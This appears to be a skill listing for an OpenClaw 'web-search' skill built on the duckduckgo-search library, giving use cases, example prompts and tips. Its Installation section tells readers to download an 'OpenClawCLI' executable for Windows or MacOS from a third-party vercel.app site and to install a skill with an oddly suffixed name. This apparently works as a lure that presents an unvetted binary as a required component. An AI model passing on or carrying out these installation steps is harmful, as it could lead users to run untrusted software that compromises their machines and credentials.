web-search

What This Skill Does

The web-search skill integrates the DuckDuckGo search API directly into your OpenClaw environment, allowing the agent to fetch real-time information from the internet. It supports text-based web results, news aggregation, and image discovery without needing complex API keys or authentication. By leveraging the duckduckgo-search library, this skill provides a versatile toolset for research, fact-checking, and content retrieval, returning data in structured formats like text or markdown for easy integration into your existing workflows.

Installation

Before using this skill, ensure that the core CLI is installed on your system. You can download the OpenClawCLI for Windows or MacOS at https://openclawcli.vercel.app/. Once the environment is set up, install the required library dependency by running pip install duckduckgo-search in your terminal. Finally, use the command clawhub install openclaw/skills/skills/thiagoruss0/web-searchuigr to add the skill to your agent's capability library.

Use Cases

• Research and Fact-Checking: Instantly verify claims or gather data on obscure topics using current web sources.
• Market Intelligence: Track news articles and recent developments in specific industries using the --type news flag.
• Asset Retrieval: Fetch high-quality images for presentations or documentation by searching by descriptive keywords.
• Data Collection: Gather lists of URLs, resources, or technical tutorials for ongoing projects without leaving the CLI.

Example Prompts

1. "Search for the latest breakthroughs in quantum computing from this past week and summarize the top three articles."
2. "Find high-quality large landscape images of the Swiss Alps for my presentation."
3. "Look up recent news articles regarding the open-source software industry in the last month."

Tips & Limitations

• Precision: When searching for niche technical information, use the --max-results parameter to increase the volume of returned data, which helps in identifying less popular but highly relevant sources.
• Efficiency: Use the --time-range filter consistently to avoid stale information. Relying on current data is critical for fast-moving topics like software frameworks or daily news.
• Constraints: Be aware that this skill depends on the availability of the DuckDuckGo service. Large-scale scraping operations might be rate-limited by the provider; if you encounter errors, try increasing the delay between consecutive search commands.